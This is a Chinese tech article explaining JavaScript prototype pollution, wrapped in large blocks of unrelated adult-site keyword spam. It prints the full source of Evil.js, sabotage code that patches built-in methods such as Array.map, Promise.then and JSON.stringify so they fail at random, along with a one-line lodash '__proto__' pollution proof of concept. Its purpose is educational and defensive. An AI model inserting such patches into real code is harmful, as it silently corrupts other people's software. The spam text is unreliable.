国产精品电影_久久视频免费_欧美日韩国产激情_成年人视频免费在线播放_日本久久亚洲电影_久久都是精品_66av99_九色精品美女在线_蜜臀a∨国产成人精品_冲田杏梨av在线_欧美精品在线一区二区三区_麻豆mv在线看

遭了!JavaScript 代碼被投毒了

開發 前端
原型污染是一種很少被關注但潛在風險嚴重的安全漏洞,它影響基于原型的編程語言,例如 JavaScript。這種漏洞通過篡改對象的原型鏈,從而影響所有基于該原型的對象。

不知大家是否還記得兩年前 Github 出現的一個名為 Evil.js 的項目,其號稱專治 996 公司,實際就是給前端項目“投毒”。本文就來聊一聊這個項目背后的故事:原型污染。

原型污染是一種很少被關注但潛在風險嚴重的安全漏洞,它影響基于原型的編程語言,例如 JavaScript。這種漏洞通過篡改對象的原型鏈,從而影響所有基于該原型的對象。

基于原型的編程范式

在深入探討原型污染之前,先來回顧一下 JavaScript基于原型的編程范式。

JavaScript 的原型機制是其面向對象編程模型的核心,它允許對象通過原型鏈來繼承屬性和方法。在 JavaScript 中,每個對象都有一個與之關聯的原型對象,當試圖訪問一個對象的屬性或方法時,如果該對象本身沒有該屬性,JavaScript 就會查找該對象的原型對象,看原型對象是否有這個屬性。這個過程會一直持續到原型鏈的末端,即 Object.prototype。

構造函數是用于創建和初始化新對象的特殊函數。當使用 new 關鍵字調用構造函數時,會創建一個新對象,并將該對象的原型設置為構造函數的 prototype 屬性所指向的對象。每個函數都有一個 prototype 屬性,這個屬性是一個對象,包含了可以由特定類型的所有實例共享的屬性和方法。

在 ES6 之前,通常使用非標準的 __proto__ 屬性來訪問或修改一個對象的原型(盡管許多瀏覽器都支持它,但它不是 ECMAScript 標準的一部分)。然而,更推薦的做法是使用 Object.getPrototypeOf() 和 Object.setPrototypeOf() 方法來訪問和修改對象的原型。

雖然 ES6 引入了 class 和 extends 關鍵字,這兩個關鍵字提供了一種更接近于傳統類繼承的語法糖,但實際上它們仍然是基于原型鏈的。

下面來看一個栗子:

// 定義一個構造函數  
function Car(brand, color) {  
    this.brand = brand;  
    this.color = color;  
}  
  
// 在 Car 的原型上添加一個方法  
Car.prototype.drive = function() {  
    return "The " + this.brand + " " + this.color + " car is driving away.";  
};  
  
// 創建一個 Car 的實例  
let redCar = new Car("BMW", "red");  
  
// 訪問實例的屬性  
console.log(redCar.brand); // 輸出 "BMW"  
console.log(redCar.color); // 輸出 "red"  
  
// 調用實例繼承自原型的方法  
console.log(redCar.drive()); // 輸出 "The BMW red car is driving away."  
  
// 創建一個繼承自 Car 的新構造函數  
function ElectricCar(brand, color, batteryRange) {  
    // 調用 Car 的構造函數,繼承其屬性  
    Car.call(this, brand, color);  
    this.batteryRange = batteryRange;  
}  
  
// 設置 ElectricCar 的原型為 Car 的實例,從而繼承 Car 的方法  
ElectricCar.prototype = Object.create(Car.prototype);  
ElectricCar.prototype.constructor = ElectricCar;  
  
// 添加 ElectricCar 特有的方法  
ElectricCar.prototype.recharge = function() {  
    return "The " + this.brand + " is recharging.";  
};  
  
// 創建一個 ElectricCar 的實例  
let tesla = new ElectricCar("Tesla", "blue", 300);  
  
// 訪問繼承的屬性和方法  
console.log(tesla.brand); // 輸出 "Tesla"  
console.log(tesla.drive()); // 輸出 "The Tesla blue car is driving away."  
  
// 訪問 ElectricCar 特有的方法  
console.log(tesla.recharge()); // 輸出 "The Tesla is recharging."

在這個例子中定義了一個 Car 構造函數和一個 ElectricCar 構造函數。ElectricCar 通過將其原型設置為 Car 的一個實例來繼承 Car 的屬性和方法。我們還為 ElectricCar 添加了一個特有的方法 recharge。這樣,ElectricCar 的實例 tesla 就可以訪問繼承自 Car 的屬性和方法,以及 ElectricCar 特有的方法。

原型污染

原型污染發生在攻擊者能夠修改 JavaScript 對象原型時。由于JavaScript的原型鏈機制,如果攻擊者能夠操縱或覆蓋某些原型對象的屬性或方法,那么這種修改將會影響到所有繼承自該原型的對象。這可能導致應用的行為異常,甚至被攻擊者利用來執行惡意代碼或竊取敏感數據。

原型污染通常發生在以下情況:

  • 應用沒有正確驗證或過濾用戶輸入,導致惡意代碼被插入到對象的原型中。
  • 使用了不安全的第三方庫或框架,這些庫或框架可能允許原型被意外修改。

下面來了解兩個原型污染的實際例子。

Evil.js

2022年某一天,好多前端群都在瘋傳一個名為 Evil.js 的開源項目,看了一眼,好家伙,不簡單啊:

由于這個庫傳播比較廣泛,作者緊急刪除了發布在 npm 的包,并發布了聲明(保命):

聲明:本包的作者不參與注入,因引入本包造成的損失本包作者概不負責。

故事到這里就結束了。那作者是怎么實現的呢?了解原型的小伙伴第一個想到的應該就是作者修改了這些 JavaScript 內置對象的原型。為了驗證想法,我們來看看源碼:

(global => {
	/**
	 * If the array size is devidable by 7, this function aways fail
	 * @zh 當數組長度可以被7整除時,本方法永遠返回false
	 */
	const _includes = Array.prototype.includes;
	Array.prototype.includes = function (...args) {
		if (this.length % 7 !== 0) {
			return _includes.call(this, ...args);
		} else {
			return false;
		}
	};

	/**
	 * Array.map will always be missing the last element on Sundays
	 * @zh 當周日時,Array.map方法的結果總是會丟失最后一個元素
	 */
	const _map = Array.prototype.map;
	Array.prototype.map = function (...args) {
		result = _map.call(this, ...args);
		if (new Date().getDay() === 0) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * Array.fillter has 10% chance to lose the final element
	 * @zh Array.filter的結果有2%的概率丟失最后一個元素
	 */
	const _filter = Array.prototype.filter;
	Array.prototype.filter = function (...args) {
		result = _filter.call(this, ...args);
		if (Math.random() < 0.02) {
			result.length = Math.max(result.length - 1, 0);
		}
		return result;
	}

	/**
	 * setTimeout will alway trigger 1s later than expected
	 * @zh setTimeout總是會比預期時間慢1秒才觸發
	 */
	const _timeout = global.setTimeout;
	global.setTimeout = function (handler, timeout, ...args) {
		return _timeout.call(global, handler, +timeout + 1000, ...args);
	}

	/**
	 * Promise.then has a 10% chance will not register on Sundays
	 * @zh Promise.then 在周日時有10%幾率不會注冊
	 */
	const _then = Promise.prototype.then;
	Promise.prototype.then = function (...args) {
		if (new Date().getDay() === 0 && Math.random() < 0.1) {
			return;
		} else {
			_then.call(this, ...args);
		}
	}

	/**
	 * JSON.stringify will replace 'I' into 'l'
	 * @zh JSON.stringify 會把'I'變成'l'
	 */
	const _stringify = JSON.stringify;
	JSON.stringify = function (...args) {
		return _stringify(...args).replace(/I/g, 'l');
	}

	/**
	 * Date.getTime() always gives the result 1 hour slower
	 * @zh Date.getTime() 的結果總是會慢一個小時
	 */
	const _getTime = Date.prototype.getTime;
	Date.prototype.getTime = function (...args) {
		let result = _getTime.call(this);
		result -= 3600 * 1000;
		return result;
	}

	/**
	 * localStorage.getItem has 5% chance return empty string
	 * @zh localStorage.getItem 有5%幾率返回空字符串
	 */
	const _getItem = global.localStorage.getItem;
	global.localStorage.getItem = function (...args) {
		let result = _getItem.call(global.localStorage, ...args);
		if (Math.random() < 0.05) {
			result = '';
		}
		return result;
	}
})((0, eval('this')));

果然,只要原本是在原型上定義的方法,修改方式都是修改原型。那么,只要這段代碼安裝/插入到前端項目中,就會污染部分 JavaScript 的原型,那么在使用這些原型上的方法時,就會有一定概率出現上面所說的異常情況,這就是原型污染。

lodash

下面再來看一下之前 Lodash 被原型污染的故事,存在問題的版本為 4.17.15。

在 lodash 的 4.17.15 版本中,存在一個原型污染的漏洞。這個漏洞允許攻擊者通過特定的函數(如 merge、mergeWith、defaultsDeep、zipObjectDeep)來注入或修改 Object.prototype 的屬性。由于這些屬性會被添加到所有對象的原型鏈上,因此它們將影響所有在 JavaScript 環境中創建的對象。

比如,利用 Lodash 的 zipObjectDeep 函數,攻擊者可以創建一個對象,并通過特定的鍵(如 __proto__)來污染原型鏈。

import _ from 'lodash';
_.zipObjectDeep(['__proto__.z'],[123]);
console.log(z); // 輸出 123

漏洞影響:

  • 服務器崩潰:如果攻擊者注入了惡意代碼或大量數據到原型鏈中,它可能會導致服務器崩潰或變得無法響應所有請求。
  • 遠程代碼執行:在某些情況下,攻擊者可能能夠通過注入特定函數或對象來實現遠程代碼執行。

預防原型污染

要防止原型污染,可以遵循以下幾個步驟和策略:

  • 了解原型污染的原因
  • 原型污染的根本原因在于JavaScript的原型鏈繼承機制,使得攻擊者有可能通過修改對象的原型來影響所有基于該原型創建的實例。
  • 惡意代碼的注入,如用戶輸入或第三方API,如果沒有被妥善地校驗和清洗,就可能導致原型污染。
  • 使用安全編程實踐
  • 避免直接修改全局對象的原型:盡量使用其他方式擴展功能,而不是直接修改原型。

  • 使用對象的淺拷貝或深拷貝:在創建新的對象時,使用淺拷貝或深拷貝,而不是直接修改原型。

  • 避免在第三方庫上修改原型:防止對其他模塊產生意外影響。

  • 使用嚴格模式("use strict"):這有助于捕獲一些潛在的原型鏈污染問題。

  • 驗證和清理輸入數據

  • 確保所有的輸入數據都經過嚴格的驗證,以防惡意數據造成原型污染。

  • 對于不可信的數據,實施一系列的驗證措施,包括數據類型、格式、長度等的檢查。

  • 使用凍結對象

  • 使用Object.freeze()來凍結對象,使其無法被修改。這可以防止攻擊者通過修改凍結對象的原型來造成污染。

  • 使用替代數據結構

  • 在某些情況下,可以使用Map代替普通的JavaScript對象來儲存鍵值對。因為Map不會受到原型污染的影響。

  • 更新和維護第三方庫

  • 保持所使用的第三方庫(如lodash等)為最新版本,以利用其中的安全修復。

  • 特別是針對已知存在原型污染問題的庫(如 lodash 4.7.12 之前版本、jQuery 3.4.0之前版本),應盡快更新到修復了該問題的版本。

責任編輯:姜華 來源: 前端充電寶
相關推薦

2024-04-16 12:17:59

2013-06-20 11:11:00

程序員經理

2025-08-25 00:00:00

ESLintGithublinting

2020-12-02 11:18:50

print調試代碼Python

2015-10-30 15:18:24

2023-08-25 13:34:02

JavascriptWikipediaSlack

2020-12-04 10:05:00

Pythonprint代碼

2021-12-26 21:49:19

微信面試參數

2020-12-18 08:28:13

Redis數據數據庫

2020-05-14 14:54:00

GitHub星級開源

2024-01-15 09:15:52

parallel語句函數

2025-11-04 16:55:54

ClaudeDeepSeekTrae

2021-02-24 14:30:59

JavaScript語言開發

2020-10-13 16:30:31

語言鏈表數組

2019-11-26 09:42:17

絕癥員工裁員

2024-07-02 11:05:03

依賴倒置系統

2024-12-25 15:07:43

2024-04-03 10:55:18

人工智能AI開發算法

2021-09-22 10:15:52

裁員選擇公司個人發展

2022-05-16 14:13:53

論文研究
點贊
收藏

51CTO技術棧公眾號

另类激情视频| 精品一区二区三区蜜桃| 亚洲成avwww人| 亚州av电影免费在线观看| 91首页免费视频| 日韩视频在线免费播放| 激情国产一区| 成人情趣片在线观看免费| 国产精品流白浆在线观看| 日韩在线视频一区| 四虎4545www国产精品| 亚洲精品国产精品国自产在线| 在线观看免费版| 欧美性高潮床叫视频| 亚洲伦理电影| 亚洲欧美怡红院| 成人天堂av| 国产精品女主播av| 日本成人免费网站| 一区二区三区四区av| 伊人资源视频在线| 欧美性极品xxxx做受| 免费a级毛片在线观看| 91久久精品一区二区| 成人h小游戏| 欧美群妇大交群的观看方式| av在线免费网站| 亚洲国产精品高清久久久| 成人激情视频免费在线| 欧美欧美在线| 欧美激情精品久久久| 午夜久久av| 青青草99啪国产免费| 日本激情一区| 动漫一区二区在线| 日韩精品欧美成人高清一区二区| 亚洲二区自拍| www.日韩在线| 国产视频97| 在线观看中文字幕不卡| 超碰个人在线| 国产午夜精品免费一区二区三区 | 久久久av电影| 国产欧美自拍一区| 国产九九精品视频| 亚洲国产专区| 自拍偷拍亚洲色图欧美| 久久嫩草精品久久久精品| 国产区视频在线观看| 精品视频在线免费看| 中日韩脚交footjobhd| 韩国视频理论视频久久| 婷婷久久国产对白刺激五月99| 久久国产精品久久| 99re这里只有精品首页| 一级片a一级片| 亚洲国产精品久久精品怡红院| 国产999精品在线观看| 国产精品美女www| 日韩vs国产vs欧美| 国产精品igao| 欧美午夜电影网| 日本久久一区| 91高跟黑色丝袜呻吟在线观看| 国产一区二区三区美女| 快色在线观看| 亚洲精品一区二区三区精华液| 国产精品国产三级在线观看| 亚洲伊人久久大香线蕉av| 国内精品伊人久久久久影院对白| 天天干天天综合| 欧美乱妇15p| 999久久精品| 日本三级中国三级99人妇网站| 国产精品久久久久久久久免费樱桃 | 亚洲国产欧美日韩精品| 超碰在线亚洲| 日韩视频在线观看国产| 国产精品三级av在线播放| www视频在线免费观看| 韩国三级电影久久久久久| 亚洲女人av| 国产va在线| 亚洲欧美制服中文字幕| 欧美顶级大胆免费视频| 欧美日韩一道本| 欧美一区三区四区| 国产探花在线精品一区二区| 经典三级在线视频| 欧美曰成人黄网| 色先锋久久影院av| 婷婷无套内射影院| 日韩久久久久久| 在线精品国产| 妞干网免费视频| www.日韩欧美| 久久久久中文| 日韩欧美亚洲系列| 国模叶桐国产精品一区| 国产成人亚洲综合a∨婷婷图片| 97超碰人人在线| 国产精品免费一区二区三区都可以| 国产91精品精华液一区二区三区 | 欧美日韩视频在线一区二区观看视频| 国产欧美日韩久久| 密臀av在线播放| 国产精品自拍首页| 午夜精品免费在线| 欧美美女啪啪| 国产成人av影视| 在线观看不卡av| 精品一区二区久久| 伊人在我在线看导航| 99国产视频| 午夜精品久久久| 欧美日韩高清| 天天槽夜夜槽| 日韩美女中文字幕| 亚洲男女一区二区三区| 综合伊人久久| 久久精品免费一区二区| 亚洲女成人图区| 国产在线精品免费av| 18aaaa精品欧美大片h| 欧美在线视频二区| 日韩欧美国产电影| 蜜臀精品久久久久久蜜臀| 欧美xxxx做受欧美88bbw| 欧美精品一区二区三区在线看午夜 | 日韩区国产区| 日韩视频免费直播| 久久久久久色| www.综合网.com| 一本久道久久综合| 日韩av网站在线| 美女视频黄免费的久久 | 欧美午夜视频一区二区| 99久久www免费| 中文字幕欧美一区二区| 成人国内精品久久久久一区| 婷婷中文字幕综合| 中文字幕日韩欧美精品高清在线| 神马精品久久| 国产一区二区久久久| 7777精品伊人久久久大香线蕉最新版| 亚洲欧美日韩一区在线观看| av免费在线网站| 在线看成人av电影| 在线电影欧美日韩一区二区私密| 成人h动漫精品一区二区 | 日韩电影第一页| 懂色av一区二区三区蜜臀| 欧美v亚洲v综合v国产v仙踪林| 日韩精品 欧美| 国模精品视频一区二区三区| 自拍偷拍国产精品| 永久91嫩草亚洲精品人人| 91sp网站在线观看入口| 欧美一区二区综合| 亚洲人成在线观看网站高清| 91免费看片在线观看| 精品一级毛片| 美女国产在线| 国产美女主播在线| 55夜色66夜色国产精品视频| 色综合视频一区二区三区高清| 乱码第一页成人| 成人自拍视频| 依依成人在线| 一区二区在线观看网站| 欧美高清视频免费观看| 一本大道久久a久久综合| 蜜桃av一区二区三区电影| 清纯唯美激情亚洲| 国产三级在线| 日本a视频在线观看| 国产精品偷伦一区二区| 亚洲国产成人久久综合一区| 国产女主播视频一区二区| 国产精品99在线观看| 日韩国产激情| 人人九九精品| 男人天堂999| 国产一区二区黄色| www亚洲欧美| 欧美视频在线播放| 国产亚洲短视频| 裸体素人女欧美日韩| 亚州综合一区| 三级中文字幕在线观看| 亚洲精华国产| 国产精彩视频一区二区| 国产精品免费区二区三区观看| 久久激情视频免费观看| 欧美丝袜自拍制服另类| 国产精品久久久久久久蜜臀| 日韩**一区毛片| 清纯唯美亚洲综合一区| 日本久久二区| 亚洲91av|